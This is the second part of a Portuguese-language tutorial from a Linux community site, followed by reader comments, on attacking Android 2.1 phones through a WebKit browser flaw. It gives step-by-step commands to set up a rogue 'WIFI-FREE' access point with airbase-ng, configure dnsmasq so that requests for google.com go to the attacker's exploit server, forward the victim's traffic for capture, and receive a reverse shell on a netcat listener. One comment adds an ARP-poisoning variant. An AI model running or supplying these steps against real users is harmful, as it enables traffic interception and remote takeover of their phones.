Pular para o conteúdo

Explorando celulares Android via Web com airbase-ng

Esse artigo busca explicar como é possível a exploração de celulares com Android 2.1, via wireless, através de uma vulnerabilidade encontrada no WebKit.
Luiz Vieira luizvieira
Hits: 27.033 Categoria: Linux Subcategoria: Segurança
  • Indicar
  • Impressora
  • Denunciar

Parte 2: Preparando o Access Point falso e atacando a vítima

Preparando o Access Point falso

Com o que foi executado no passo anterior, já estaríamos em condição de atacar com sucesso uma vítima se tivéssemos utilizando um IP público na Internet.

Mas a ideia a seguir é levantar um Access Point falso com o airodump-ng para que as pessoas com celulares acessem o mesmo em busca de internet grátis, e quando realizarem uma requisição à um DNS específico, redirecionamos a vítima para nosso Apache com o código malicioso.

Primeiro vamos configurar o Dnsmasq, que nos vair prover o serviço de DNS e DHCP para nosso Access Point falso. Se não os tivermos instalado, podemos fazer da seguinte forma:

# apt-get install dnsmasq
# /etc/init.d/dnsmasq stop


Logo devemos nos assegurar de configurar em qual interface de rede o Dnsmasq ficará escutando, configurar o range de endereços IP que entregará às vítimas, e qual o domínio será redirecionado para nosso Apache com o exploit, que nesse caso será "google.com":

# nano /etc/dnsmasq.conf

interface=at0
dhcp-range=192.168.0.5,192.168.0.20,12h
address=/google.com/192.168.0.1

# /etc/init.d/dnsmasq start

Se tivermos internet (3G por exemplo, se estivermos em algum local público), seria uma boa idéia encaminhar todo o tráfego para que a vítima acredite que está em uma rede wireless comum, e de brinde teremos a possibilidade de capturarmos algo de seu tráfego:

# echo 1 > /proc/sys/net/ipv4/ip_forward
# iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE


Finalmente, levantamos o Access Point falso com o airbase-ng e configuramos a interface de rede "at0", criada pelo airbase-ng, com o endereço IP onde se realizará a conexão reversa:

# airbase-ng -C 30 --essid "WIFI-FREE" wlan0
# ifconfig at0 192.168.0.1 netmask 255.255.255.0 up


Nesse caso, a rede se chama "WIFI-FREE", mas podemos colocar qualquer outro nome que escolhermos.

Atacando a Vítima

Por minha experiência com o Motorola Milestone, quando habilitamos a placa wireless do celular, inicia-se a detecção de redes na área e conectamos manualmente na qual desejamos, principalmente nas que estão abertas e sem criptografia. Depois da primeira vez que fazemos isso, nas vezes seguintes a conexão é automática.

Quando a vitima estiver conectada, o tráfego de rede passará normalmente até o momento em que a vítima acesse o "www.google.com", de onde será direcionada para nosso Apache e obteremos uma conexão reversa no netcat que deixamos escutando:
Linux: Explorando celulares Android via Web com airbase-ng
Uma vez que recebemos a conexão reversa, podemos executar comandos do Android como "/system/bin/id" ou "/system/bin/ps" para verificar que efetivamente podemos acessar o dispositivo.

That's all folks!

   1. Início
   2. Preparando o Access Point falso e atacando a vítima

Boot Linux - o que acontece quando ligamos o computador

Vulnerabilidade em mais de 6 milhões de sites com flash

Wmap web scanner

A Arte de HACKEAR Pessoas

Bypass de firewall com tunelamento por DNS

Introdução ao Conceito de Hardening

Shellter Project - Ferramenta para bypass de AV

Gerenciamento de segurança da informação com open source (parte 1)

Tornando seu Apache mais seguro com o ModSecurity

SELinux - Segurança em Servidores GNU/Linux

#1 Comentário enviado por bruno_arueira em 16/03/2011 - 14:35h
É aquela velha história, não há nada a base de falhas :)

Mas há algum método paleativo para prevenir? Tipo se eu tiver root no aparelho remover o browser e por outro?

Att.
#2 Comentário enviado por gleudson junior em 16/03/2011 - 16:12h
Entre outras possibilidades de âmbito mais técnicas de evitar esse tipo de ataque, como por exemplo, a citada pelo Luiz no inicio do artigo, onde se deve fazer a atualização do sistema, visto que as versões mais recentes já vêm com patch de correção da vulnerabilidade. O principal mesmo ainda é: não conectar em uma rede não “Confiável”, ou ao menos numa rede totalmente desconhecida.

Alias Luiz, parabéns pelas contribuições!
#3 Comentário enviado por julio_hoffimann em 16/03/2011 - 19:11h
Oi Luiz, parabéns!

Muito interessante! Não sou da área, mas percebo que quando o assunto é segurança, você sabe tudo! Obrigado por compartilhar conosco esses conceitos.

Abraço!
#4 Comentário enviado por premoli em 16/03/2011 - 22:20h
Um dia ainda vou ser assim ... rsrsrs.... Parabéns!! Ótimo artigo!!!
#5 Comentário enviado por luizvieira em 16/03/2011 - 23:03h
Obrigado pelo bom retorno galera!

Fico feliz de contribuir de maneira positiva com a comunidade.

[ ]'s
Luiz
#6 Comentário enviado por killerbean em 17/03/2011 - 09:38h
Mas, como já perguntadom não há uma maneria de corrigir o bug, sem ser atualizar todo o sistema ?
Outra coisa, esse acesso é como root, certo ? Então poderimos usar essa vunerabilidade para acessar o celular como root sem ser permanente e sem perder a garantia, talvez.
#7 Comentário enviado por removido em 17/03/2011 - 16:46h
Grande Luiz. Como sempre, excelentes contribuições !


Abraço
#8 Comentário enviado por _m4n14c_2 em 20/02/2012 - 02:40h
Brilhante.

Só para incrementar a idéia de um cenário real, você não precisa criar um AP tabajara usando a sua 3G: basta ir a um local público onde já haja wifi (inclusive uma rede "confiável"), usar o bom e velho arp poisoning para redirecionar o tráfego para a sua máquina e, com um proxy transparente, editar as páginas "on the fly".

Fiz aqui o truque com o scapy + perl HTTP::Proxy em 10 minutos, só falta arrumar um android pra testar. Aí nos seus testes, o shellcode travou/fechou o browser ou só pegou uma thread?

Contribuir com comentário

Entre na sua conta para comentar.